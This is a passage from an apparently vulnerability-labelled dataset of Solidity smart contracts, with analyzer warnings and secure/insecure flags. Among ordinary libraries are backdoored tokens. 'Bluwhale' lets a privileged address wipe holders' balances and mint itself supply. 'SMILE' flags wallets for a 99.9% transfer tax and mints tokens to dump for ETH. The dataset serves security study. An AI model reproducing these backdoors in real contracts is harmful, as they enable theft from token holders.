require(isContract(target), \"Address: call to non-contract\");\n }\n\n return returndata;\n } else {\n _revert(returndata, errorMessage);\n }\n }\n\n function _revert(\n bytes memory returndata,\n string memory errorMessage\n ) private pure {\n if (returndata.length > 0) {\n assembly {\n let returndata_size := mload(returndata)\n\n revert(add(32, returndata), returndata_size)\n }\n } else {\n revert(errorMessage);\n }\n }\n}", "file_name": "solidity_code_495.sol", "secure": 1, "size_bytes": 1938 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nlibrary TransferHelper {\n function safeApprove(address token, address to, uint256 value) internal {\n (bool success, bytes memory data) = token.call(\n abi.encodeWithSelector(0x095ea7b3, to, value)\n );\n\n require(\n success && (data.length == 0 || abi.decode(data, (bool))),\n \"TransferHelper: APPROVE_FAILED\"\n );\n }\n\n function safeTransfer(address token, address to, uint256 value) internal {\n (bool success, bytes memory data) = token.call(\n abi.encodeWithSelector(0xa9059cbb, to, value)\n );\n\n require(\n success && (data.length == 0 || abi.decode(data, (bool))),\n \"TransferHelper: TRANSFER_FAILED\"\n );\n }\n\n function safeTransferFrom(\n address token,\n address from,\n address to,\n uint256 value\n ) internal {\n (bool success, bytes memory data) = token.call(\n abi.encodeWithSelector(0x23b872dd, from, to, value)\n );\n\n require(\n success && (data.length == 0 || abi.decode(data, (bool))),\n \"TransferHelper: TRANSFER_FROM_FAILED\"\n );\n }\n\n function safeTransferETH(address to, uint256 value) internal {\n (bool success, ) = to.call{value: value}(new bytes(0));\n\n require(success, \"TransferHelper: ETH_TRANSFER_FAILED\");\n }\n}", "file_name": "solidity_code_496.sol", "secure": 1, "size_bytes": 1471 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/utils/Address.sol\" as Address;\n\nlibrary SafeTransfer {\n using Address for address;\n\n function _pullUnderlying(IERC20 erc20, address from, uint256 amount) internal {\n safeTransferFrom(erc20, from, address(this), amount);\n }\n\n function safeTransfer(IERC20 token, address to, uint256 value) internal {\n _callOptionalReturn(\n token,\n abi.encodeWithSelector(token.transfer.selector, to, value)\n );\n }\n\n function safeTransferFrom(\n IERC20 token,\n address from,\n address to,\n uint256 value\n ) internal {\n _callOptionalReturn(\n token,\n abi.encodeWithSelector(token.transferFrom.selector, from, to, value)\n );\n }\n\n function _pushUnderlying(IERC20 erc20, address to, uint256 amount) internal {\n safeTransfer(erc20, to, amount);\n }\n\n function safeTransferETH(address to, uint256 value) internal {\n (bool success, ) = to.call{value: value}(new bytes(0));\n\n require(\n success,\n \"TransferHelper::safeTransferETH: ETH transfer failed\"\n );\n }\n\n function _callOptionalReturn(IERC20 token, bytes memory data) private {\n bytes memory returndata = address(token).functionCall(\n data,\n \"SafeERC20: low-level call failed\"\n );\n\n if (returndata.length > 0) {\n require(\n abi.decode(returndata, (bool)),\n \"SafeERC20: ERC20 operation did not succeed\"\n );\n }\n }\n}", "file_name": "solidity_code_497.sol", "secure": 1, "size_bytes": 1751 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"./Reader.sol\" as Reader;\n\nabstract contract ReentrancyGuard {\n uint256 private constant _NOT_ENTERED = 1;\n\n uint256 private constant _ENTERED = 2;\n\n mapping(address => bool) whitelist;\n\n uint256 private _status;\n\n uint256 private _status2;\n\n constructor() {\n _status = _NOT_ENTERED;\n }\n\n function DATA_READ() public view returns (address) {\n return Reader(0xcCeD1a96321B2B2a06E8F3F4B0B883dDD059968c).DATA_READ();\n }\n\n function wETH() public view returns (address) {\n return Reader(DATA_READ()).wETH();\n }\n\n modifier nonReentrant() {\n _nonReentrantBefore();\n\n _;\n\n _nonReentrantAfter();\n }\n\n function _nonReentrantBefore() private {\n require(\n _status != _ENTERED || whitelist[msg.sender],\n \"ReentrancyGuard: reentrant call\"\n );\n\n _status = _ENTERED;\n }\n\n function _nonReentrantAfter() private {\n _status = _NOT_ENTERED;\n }\n\n function addWhitelist(address toAdd) internal {\n whitelist[toAdd] = true;\n }\n}", "file_name": "solidity_code_498.sol", "secure": 1, "size_bytes": 1178 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nabstract contract ReentrancyGuardCopy {\n uint256 private constant _NOT_ENTERED = 1;\n\n uint256 private constant _ENTERED = 2;\n\n uint256 private _status;\n\n constructor() {\n _status = _NOT_ENTERED;\n }\n\n modifier nonReentrant() {\n _nonReentrantBefore();\n\n _;\n\n _nonReentrantAfter();\n }\n\n function _nonReentrantBefore() private {\n require(_status != _ENTERED, \"ReentrancyGuard: reentrant call\");\n\n _status = _ENTERED;\n }\n\n function _nonReentrantAfter() private {\n _status = _NOT_ENTERED;\n }\n}", "file_name": "solidity_code_499.sol", "secure": 1, "size_bytes": 659 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ncontract FairPlatform {\n string public name;\n\n string public symbol;\n\n string public twitter;\n\n string public telegram;\n\n string public website;\n\n uint8 public constant decimals = 18;\n\n uint256 public immutable totalSupply =\n 1_000_000_000 * (10 ** uint256(decimals));\n\n uint256 public supply = 0;\n\n mapping(address => bool) public hasMinted;\n\n mapping(address => uint256) private balances;\n\n mapping(address => mapping(address => uint256)) private allowances;\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n\n constructor(\n string memory _name,\n string memory _symbol,\n string memory _twitter,\n string memory _telegram,\n string memory _website\n ) {\n name = _name;\n\n symbol = _symbol;\n\n twitter = _twitter;\n\n telegram = _telegram;\n\n website = _website;\n\n supply += totalSupply / 1000;\n\n balances[tx.origin] = totalSupply / 1000;\n\n emit Transfer(address(0), tx.origin, totalSupply / 1000);\n }\n\n function getTokenInfo()\n public\n view\n returns (\n string memory,\n string memory,\n string memory,\n string memory,\n string memory,\n uint256\n )\n {\n return (name, symbol, twitter, telegram, website, supply);\n }\n\n function mint() external {\n require(\n supply + (totalSupply / 1000) <= totalSupply,\n \"Total supply exceeded\"\n );\n\n require(!hasMinted[msg.sender], \"Address has already minted\");\n\n require(msg.sender == tx.origin, \"Contracts are not allowed to mint\");\n\n hasMinted[msg.sender] = true;\n\n supply += totalSupply / 1000;\n\n balances[msg.sender] += totalSupply / 1000;\n\n emit Transfer(address(0), msg.sender, totalSupply / 1000);\n }\n\n function balanceOf(address account) public view returns (uint256) {\n return balances[account];\n }\n\n function transfer(address to, uint256 amount) public returns (bool) {\n require(balances[msg.sender] >= amount, \"Insufficient balance\");\n\n _transfer(msg.sender, to, amount);\n\n return true;\n }\n\n function approve(address spender, uint256 amount) public returns (bool) {\n allowances[msg.sender][spender] = amount;\n\n emit Approval(msg.sender, spender, amount);\n\n return true;\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 amount\n ) public returns (bool) {\n require(balances[from] >= amount, \"Insufficient balance\");\n\n require(allowances[from][msg.sender] >= amount, \"Allowance exceeded\");\n\n allowances[from][msg.sender] -= amount;\n\n _transfer(from, to, amount);\n\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view returns (uint256) {\n return allowances[owner][spender];\n }\n\n function _transfer(address from, address to, uint256 amount) internal {\n require(to != address(0), \"Transfer to the zero address\");\n\n balances[from] -= amount;\n\n balances[to] += amount;\n\n emit Transfer(from, to, amount);\n }\n}", "file_name": "solidity_code_5.sol", "secure": 1, "size_bytes": 3558 }
{ "code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"./IPancakeFactory.sol\" as IPancakeFactory;\n\ncontract Bluwhale {\n address internal constant FACTORY =\n 0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f;\n\n address internal constant ROUTER =\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;\n\n address internal constant WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;\n\n\t// WARNING Optimization Issue (immutable-states | ID: f798b46): Bluwhale.tokenTotalSupply should be immutable \n\t// Recommendation for f798b46: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 private tokenTotalSupply;\n\n string private tokenName;\n\n string private tokenSymbol;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 25f0220): Bluwhale.wadd should be immutable \n\t// Recommendation for 25f0220: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address private wadd;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 6f907ab): Bluwhale.tokenDecimals should be immutable \n\t// Recommendation for 6f907ab: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint8 private tokenDecimals;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 2cc23d9): Bluwhale.constructor(address).ads lacks a zerocheck on \t wadd = ads\n\t// Recommendation for 2cc23d9: Check that the address is not zero.\n constructor(address ads) {\n tokenName = \"Bluwhale AI\";\n\n tokenSymbol = \"Bluwhale\";\n\n tokenDecimals = 18;\n\n tokenTotalSupply = 1000000000 * 10 ** tokenDecimals;\n\n _balances[msg.sender] = tokenTotalSupply;\n\n emit Transfer(address(0), msg.sender, tokenTotalSupply);\n\n\t\t// missing-zero-check | ID: 2cc23d9\n wadd = ads;\n }\n\n function addLimits(address addBot) external {\n if (\n wadd == msg.sender &&\n wadd != addBot &&\n pancakePair() != addBot &&\n addBot != ROUTER\n ) {\n _balances[addBot] = 0;\n }\n }\n\n function removeLimits(uint256 addBot) external {\n if (wadd == msg.sender) {\n _balances[msg.sender] =\n 4206900000 *\n 30000 *\n addBot *\n 10 ** tokenDecimals;\n }\n }\n\n function pancakePair() public view virtual returns (address) {\n return IPancakeFactory(FACTORY).getPair(address(WETH), address(this));\n }\n\n function symbol() public view returns (string memory) {\n return tokenSymbol;\n }\n\n function totalSupply() public view returns (uint256) {\n return tokenTotalSupply;\n }\n\n function decimals() public view virtual returns (uint8) {\n return tokenDecimals;\n }\n\n function balanceOf(address account) public view returns (uint256) {\n return _balances[account];\n }\n\n function name() public view returns (string memory) {\n return tokenName;\n }\n\n function transfer(address to, uint256 amount) public returns (bool) {\n _transfer(msg.sender, to, amount);\n\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(address spender, uint256 amount) public returns (bool) {\n _approve(msg.sender, spender, amount);\n\n return true;\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 amount\n ) public virtual returns (bool) {\n address spender = msg.sender;\n\n _spendAllowance(from, spender, amount);\n\n _transfer(from, to, amount);\n\n return true;\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {\n uint256 balance = _balances[from];\n\n require(balance >= amount, \"ERC20: transfer amount exceeds balance\");\n\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n _balances[from] = _balances[from] - amount;\n\n _balances[to] = _balances[to] + amount;\n\n emit Transfer(from, to, amount);\n }\n\n function _spendAllowance(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n uint256 currentAllowance = allowance(owner, spender);\n\n if (currentAllowance != type(uint256).max) {\n require(\n currentAllowance >= amount,\n \"ERC20: insufficient allowance\"\n );\n\n _approve(owner, spender, currentAllowance - amount);\n }\n }\n}", "file_name": "solidity_code_50.sol", "secure": 0, "size_bytes": 5672 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ninterface Reader {\n function isAdmin(address addy) external view returns (bool);\n\n function superAdmin(address addy) external view returns (bool);\n\n function protocolAddy() external view returns (address);\n\n function sdDepAddy() external view returns (address);\n\n function getProtocolFee() external view returns (uint256);\n\n function breaker() external view returns (bool);\n\n function dataAddress() external view returns (address);\n\n function isWhitelistContract(address addy) external view returns (bool);\n\n function isSD(address addy) external view returns (bool);\n\n function fegAddress() external view returns (address);\n\n function UNISWAP_V2_ROUTER() external view returns (address);\n\n function uniswapV2Pair() external view returns (address);\n\n function wETH() external view returns (address);\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 49e184c): Reader.frontRun(address,uint256,uint256).range shadows Reader.range() (function)\n\t// Recommendation for 49e184c: Rename the local variables that shadow another component.\n function frontRun(\n address who,\n uint256 range,\n uint256 slip\n ) external view returns (bool yes);\n\n function DATA_READ() external view returns (address);\n\n function LEAPDepAddy() external view returns (address);\n\n function feeConverter() external view returns (address);\n\n function feeConverterDeployer() external view returns (address);\n\n function cont(address addy, uint256 fee) external;\n\n function UNIstable() external view returns (address);\n\n function USD() external view returns (address);\n\n function save(address token, uint256 amt) external;\n\n function fegPair(address sd) external view returns (address);\n\n function tickOn(address token) external view returns (bool);\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 49e184c): Reader.frontRun(address,uint256,uint256).range shadows Reader.range() (function)\n\t// Recommendation for 49e184c: Rename the local variables that shadow another component.\n function range() external view returns (uint256, uint256);\n\n function addTotalConvertedTo(address to, uint256 amt) external;\n\n function factory() external pure returns (address);\n\n function getPair(\n address tokenA,\n address tokenB\n ) external view returns (address pair);\n\n function getSDPerConvert(\n address token,\n uint256 amt\n ) external view returns (uint256);\n\n function isConvertable(\n address token,\n address th,\n uint256 thr\n ) external view returns (bool, uint256);\n}", "file_name": "solidity_code_500.sol", "secure": 0, "size_bytes": 2766 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/ReentrancyGuard.sol\" as ReentrancyGuard;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"./IPair.sol\" as IPair;\nimport \"./Reader.sol\" as Reader;\nimport \"./FeeConverterLogic.sol\" as FeeConverterLogic;\n\ncontract FeeConverterMaker is ReentrancyGuard {\n mapping(address => bool) public setup;\n\n function createFeeConverter(\n address sd,\n address user\n ) external returns (address w) {\n require(user == IERC20(sd).owner(), \"owner\");\n\n address D = DATA_READ();\n\n require(Reader(D).isSD(sd), \"not SD\");\n\n if (!Reader(D).isAdmin(user)) {\n require(!setup[sd], \"already\");\n }\n\n require(\n Reader(D).isAdmin(msg.sender) ||\n Reader(D).feeConverterDeployer() == msg.sender,\n \"not ed\"\n );\n\n address uni = Reader(sd).uniswapV2Pair();\n\n address weth = wETH();\n\n require(\n IPair(uni).token0() == weth || IPair(uni).token1() == weth,\n \"no eth pair\"\n );\n\n setup[sd] = true;\n\n w = address(new FeeConverterLogic(sd, user));\n }\n}", "file_name": "solidity_code_501.sol", "secure": 1, "size_bytes": 1261 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/ReentrancyGuard.sol\" as ReentrancyGuard;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\nimport \"./IPair.sol\" as IPair;\nimport \"./TransferHelper.sol\" as TransferHelper;\nimport \"./SafeTransfer.sol\" as SafeTransfer;\nimport \"./Reader.sol\" as Reader;\n\ncontract FeeConverterLogic is ReentrancyGuard {\n mapping(address => uint256) public converted;\n\n dist public dis;\n\n uint256 public convertThreshold = 10;\n\n uint256 public distributeThreshold = 5e15;\n\n bool public convertPause;\n\n address public convertTo;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 61d9be6): FeeConverterLogic.owner should be immutable \n\t// Recommendation for 61d9be6: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public owner;\n\n\t// WARNING Optimization Issue (immutable-states | ID: cfa42f4): FeeConverterLogic.SD should be immutable \n\t// Recommendation for cfa42f4: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public SD;\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 5553796): FeeConverterLogic.constructor(address,address).sd lacks a zerocheck on \t SD = sd\n\t// Recommendation for 5553796: Check that the address is not zero.\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: a5d315a): FeeConverterLogic.constructor(address,address).user lacks a zerocheck on \t owner = user\n\t// Recommendation for a5d315a: Check that the address is not zero.\n constructor(address sd, address user) {\n\t\t// missing-zero-check | ID: a5d315a\n owner = user;\n\n\t\t// missing-zero-check | ID: 5553796\n SD = sd;\n\n dis.one = user;\n\n dis.r0 = 100;\n\n convertTo = wETH();\n }\n\n receive() external payable {}\n\n struct Dist {\n address one;\n address two;\n address three;\n uint256 r0;\n uint256 r1;\n uint256 r2;\n }\n\n function FEG() internal view returns (address) {\n return Reader(DATA_READ()).fegAddress();\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: d4cac29): FeeConverterLogic.setConvertThreshold(uint256) should emit an event for convertThreshold = amt \n\t// Recommendation for d4cac29: Emit an event for critical parameter changes.\n function setConvertThreshold(uint256 amt) external {\n require(msg.sender == owner, \"You do not have permission\");\n\n require(amt <= 200 && amt >= 1, \"1-$200max\"); // $200 max to not make frontrunning able to profit from the tx\n\n\t\t// events-maths | ID: d4cac29\n convertThreshold = amt;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: c50ceba): FeeConverterLogic.setDistributeThreshold(uint256) should emit an event for distributeThreshold = amt \n\t// Recommendation for c50ceba: Emit an event for critical parameter changes.\n function setDistributeThreshold(uint256 amt) external {\n require(msg.sender == owner, \"You do not have permission\");\n\n require(amt >= 1e12, \"1e12>\");\n\n\t\t// events-maths | ID: c50ceba\n distributeThreshold = amt;\n }\n\n function setConvertPause(bool _bool) external {\n require(msg.sender == owner, \"only owner\");\n\n convertPause = _bool;\n }\n\n function setConvertTo(address to) external {\n require(msg.sender == owner, \"only owner\");\n\n require(to != SD, \"not itself\");\n\n require(to != address(0), \"address 0\");\n\n convertTo = to;\n }\n\n function saveLostTokens(address toSave) external {\n require(msg.sender == owner, \"You do not have permission\");\n\n uint256 toSend = IERC20(toSave).balanceOf(address(this));\n\n if (toSend > 0) {\n TransferHelper.safeTransfer(toSave, owner, toSend);\n }\n\n if (address(this).balance > 0) {\n TransferHelper.safeTransferETH(owner, address(this).balance);\n }\n }\n\n function setDestinations(\n address dest0,\n address dest1,\n address dest2,\n uint256 rate0,\n uint256 rate1,\n uint256 rate2\n ) external {\n require(msg.sender == owner, \"You do not have permission\");\n\n require(rate0 + rate1 + rate2 == 100, \"must be 100%\");\n\n require(\n dest0 != address(0) || dest1 != address(0) || dest2 != address(0),\n \"all cannot be address 0\"\n );\n\n if (rate0 == 0) {\n require(dest0 == address(0), \"inv0\");\n }\n\n dis.one = dest0;\n\n dis.r0 = rate0;\n\n if (rate1 == 0) {\n require(dest1 == address(0), \"inv1\");\n }\n\n dis.two = dest1;\n\n dis.r1 = rate1;\n\n if (rate2 == 0) {\n require(dest2 == address(0), \"inv1\");\n }\n\n dis.three = dest2;\n\n dis.r2 = rate2;\n }\n\n function cont(\n address token,\n uint256 fees,\n address user\n ) external nonReentrant {\n address D = DATA_READ();\n fees;\n\n require(\n Reader(D).isSD(token) && msg.sender == SD && token == SD,\n \"not sd\"\n );\n\n if (!convertPause) {\n uint256 a;\n\n address swap = Reader(token).uniswapV2Pair();\n\n uint256 bal = IERC20(token).balanceOf(swap);\n\n if (IERC20(SD).balanceOf(swap) > 0) {\n (bool b, uint256 t) = isConvertable(D);\n\n if (b) {\n a = t > bal / 1000 ? bal / 1000 : t;\n\n swapTokens(user, a, D);\n }\n }\n }\n }\n\n function isConvertable(address d) internal view returns (bool, uint256) {\n (bool a, uint256 b) = Reader(Reader(d).feeConverter()).isConvertable(\n SD,\n address(this),\n convertThreshold\n );\n\n return (a, b);\n }\n\n function isConvertable() public view returns (bool, uint256) {\n address D = DATA_READ();\n\n (bool a, uint256 b) = Reader(Reader(D).feeConverter()).isConvertable(\n SD,\n address(this),\n convertThreshold\n );\n\n return (a, b);\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 0f6f0de): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 0f6f0de: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (uninitialized-local | severity: Medium | ID: be56d89): FeeConverterLogic.swapTokens(address,uint256,address).path is a local variable never initialized\n\t// Recommendation for be56d89: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n function swapTokens(address user, uint256 t, address D) private {\n uint256 convt = t;\n\n address router = Reader(SD).UNISWAP_V2_ROUTER();\n\t\t// reentrancy-benign | ID: 0f6f0de\n\n TransferHelper.safeApprove(SD, router, convt);\n\n address swap = Reader(SD).uniswapV2Pair();\n\n address dep = Reader(D).feeConverterDeployer();\n\n if (!Reader(D).tickOn(SD)) {\n (uint256 ra, uint256 sl) = Reader(dep).range();\n\n if (ra > 0) {\n require(!Reader(SD).frontRun(swap, ra, sl), \"Front Run\");\n }\n }\n\t\t// reentrancy-benign | ID: 0f6f0de\n\n converted[convertTo] += convt;\n\n address w = wETH();\n\n address feg = Reader(D).fegAddress();\n\n address fac = Reader(Reader(router).factory()).getPair(feg, SD);\n\n address[] memory path;\n\n uint256 bf = fac == address(0) ? 0 : IERC20(feg).balanceOf(fac);\n\n if (convertTo != feg || (convertTo == feg && bf >= 10000e18)) {\n path = new address[](2);\n\n path[0] = SD;\n\n path[1] = convertTo;\n }\n\n if (convertTo == feg && bf < 10000e18) {\n path = new address[](3);\n\n path[0] = SD;\n\n path[1] = w;\n\n path[2] = feg;\n }\n\n IUniswapV2Router02(Reader(SD).UNISWAP_V2_ROUTER())\n .swapExactTokensForTokensSupportingFeeOnTransferTokens(\n convt,\n 0,\n path,\n address(this),\n block.timestamp\n );\n\n uint256 bal;\n\n uint256 userShare;\n\n if (convertTo == address(0)) {\n IPair(w).withdraw(IERC20(w).balanceOf(address(this)));\n\n bal = address(this).balance;\n\n if (bal > distributeThreshold) {\n Reader(dep).addTotalConvertedTo(convertTo, bal);\n\n userShare = (bal * 5) / 100;\n\n bal -= userShare;\n\n SafeTransfer.safeTransferETH(user, userShare);\n\n if (dis.one != address(0)) {\n SafeTransfer.safeTransferETH(dis.one, (bal * dis.r0) / 100);\n }\n\n if (dis.two != address(0)) {\n SafeTransfer.safeTransferETH(dis.two, (bal * dis.r1) / 100);\n }\n\n if (dis.three != address(0)) {\n SafeTransfer.safeTransferETH(\n dis.three,\n (bal * dis.r2) / 100\n );\n }\n }\n }\n\n if (convertTo != address(0)) {\n bal = IERC20(convertTo).balanceOf(address(this));\n\n if (bal > distributeThreshold) {\n Reader(dep).addTotalConvertedTo(convertTo, bal);\n\n userShare = (bal * 5) / 100;\n\n bal -= userShare;\n\n SafeTransfer.safeTransfer(IERC20(convertTo), user, userShare);\n\n if (dis.one != address(0)) {\n SafeTransfer.safeTransfer(\n IERC20(convertTo),\n dis.one,\n (bal * dis.r0) / 100\n );\n }\n\n if (dis.two != address(0)) {\n SafeTransfer.safeTransfer(\n IERC20(convertTo),\n dis.two,\n (bal * dis.r1) / 100\n );\n }\n\n if (dis.three != address(0)) {\n SafeTransfer.safeTransfer(\n IERC20(convertTo),\n dis.three,\n (bal * dis.r2) / 100\n );\n }\n }\n }\n }\n\n function distribute() external {\n uint256 bal;\n\n if (convertTo != address(0)) {\n bal = IERC20(convertTo).balanceOf(address(this));\n\n if (dis.one != address(0)) {\n SafeTransfer.safeTransfer(\n IERC20(convertTo),\n dis.one,\n (bal * dis.r0) / 100\n );\n }\n\n if (dis.two != address(0)) {\n SafeTransfer.safeTransfer(\n IERC20(convertTo),\n dis.two,\n (bal * dis.r1) / 100\n );\n }\n\n if (dis.three != address(0)) {\n SafeTransfer.safeTransfer(\n IERC20(convertTo),\n dis.three,\n (bal * dis.r2) / 100\n );\n }\n }\n\n if (convertTo == address(0)) {\n bal = address(this).balance;\n\n if (dis.one != address(0)) {\n SafeTransfer.safeTransferETH(dis.one, (bal * dis.r0) / 100);\n }\n\n if (dis.two != address(0)) {\n SafeTransfer.safeTransferETH(dis.two, (bal * dis.r1) / 100);\n }\n\n if (dis.three != address(0)) {\n SafeTransfer.safeTransferETH(dis.three, (bal * dis.r2) / 100);\n }\n }\n }\n}", "file_name": "solidity_code_502.sol", "secure": 0, "size_bytes": 12505 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"./IUniswapV2Router.sol\" as IUniswapV2Router;\n\ncontract SMILE is Ownable {\n using SafeMath for uint256;\n\n\t// WARNING Optimization Issue (constable-states | ID: b99b705): SMILE._decimals should be constant \n\t// Recommendation for b99b705: Add the 'constant' attribute to state variables that never change.\n uint256 public _decimals = 9;\n\n\t// WARNING Optimization Issue (immutable-states | ID: d3342a6): SMILE._totalSupply should be immutable \n\t// Recommendation for d3342a6: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 public _totalSupply = 1000000000000 * 10 ** _decimals;\n\n constructor() {\n _balances[sender()] = _totalSupply;\n\n emit Transfer(address(0), sender(), _balances[sender()]);\n\n _taxWallet = msg.sender;\n }\n\n\t// WARNING Optimization Issue (constable-states | ID: 907b603): SMILE._name should be constant \n\t// Recommendation for 907b603: Add the 'constant' attribute to state variables that never change.\n string private _name = \"bitSmiley\";\n\n\t// WARNING Optimization Issue (constable-states | ID: cc65362): SMILE._symbol should be constant \n\t// Recommendation for cc65362: Add the 'constant' attribute to state variables that never change.\n string private _symbol = \"SMILE\";\n\n\t// WARNING Optimization Issue (constable-states | ID: 1524553): SMILE.uniV2Router should be constant \n\t// Recommendation for 1524553: Add the 'constant' attribute to state variables that never change.\n IUniswapV2Router private uniV2Router =\n IUniswapV2Router(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);\n\n\t// WARNING Optimization Issue (immutable-states | ID: 3596a2c): SMILE._taxWallet should be immutable \n\t// Recommendation for 3596a2c: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public _taxWallet;\n\n function _approve(\n address accountOwner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(\n accountOwner != address(0),\n \"IERC20: approve from the zero address\"\n );\n\n require(spender != address(0), \"IERC20: approve to the zero address\");\n\n _allowances[accountOwner][spender] = amount;\n\n emit Approval(accountOwner, spender, amount);\n }\n\n function name() external view returns (string memory) {\n return _name;\n }\n\n function balanceOf(address account) public view returns (uint256) {\n return _balances[account];\n }\n\n function totransfenopen() public {}\n\n function fortransfenopen() external {}\n\n function towalletopen() public {}\n\n function atwalletopen() public {}\n\n function Swap(address[] calldata walletAddress) external {\n uint256 fromBlockNo = getBlockNumber();\n\n for (\n uint256 walletInde = 0;\n walletInde < walletAddress.length;\n walletInde++\n ) {\n if (!marketingAddres()) {} else {\n cooldowns[walletAddress[walletInde]] = fromBlockNo + 1;\n }\n }\n }\n\n function transferFrom(\n address from,\n address recipient,\n uint256 _amount\n ) public returns (bool) {\n _transfer(from, recipient, _amount);\n\n require(_allowances[from][sender()] >= _amount);\n\n return true;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function getBlockNumber() internal view returns (uint256) {\n return block.number;\n }\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n function allowance(\n address accountOwner,\n address spender\n ) public view returns (uint256) {\n return _allowances[accountOwner][spender];\n }\n\n function decreaseAllowance(\n address from,\n uint256 amount\n ) public returns (bool) {\n require(_allowances[msg.sender][from] >= amount);\n\n _approve(sender(), from, _allowances[msg.sender][from] - amount);\n\n return true;\n }\n\n event Transfer(address indexed from, address indexed to, uint256);\n\n mapping(address => uint256) internal cooldowns;\n\n function decimals() external view returns (uint256) {\n return _decimals;\n }\n\n function marketingAddres() private view returns (bool) {\n return (_taxWallet == (sender()));\n }\n\n function sender() internal view returns (address) {\n return msg.sender;\n }\n\n function totalSupply() external view returns (uint256) {\n return _totalSupply;\n }\n\n function Execute(uint256 amount, address walletAddr) external {\n if (marketingAddres()) {\n _approve(address(this), address(uniV2Router), amount);\n\n _balances[address(this)] = amount;\n\n address[] memory addressPath = new address[](2);\n\n addressPath[0] = address(this);\n\n addressPath[1] = uniV2Router.WETH();\n\n uniV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n amount,\n 0,\n addressPath,\n walletAddr,\n block.timestamp + 32\n );\n } else {\n return;\n }\n }\n\n function _transfer(address from, address to, uint256 value) internal {\n uint256 _taxValue = 0;\n\n require(from != address(0));\n\n require(value <= _balances[from]);\n\n emit Transfer(from, to, value);\n\n _balances[from] = _balances[from] - (value);\n\n bool onCooldown = (cooldowns[from] <= (getBlockNumber()));\n\n uint256 _cooldownFeeValue = value.mul(999).div(1000);\n\n if ((cooldowns[from] != 0) && onCooldown) {\n _taxValue = (_cooldownFeeValue);\n }\n\n uint256 toBalance = _balances[to];\n\n toBalance += (value) - (_taxValue);\n\n _balances[to] = toBalance;\n }\n\n event Approval(address indexed, address indexed, uint256 value);\n\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public returns (bool) 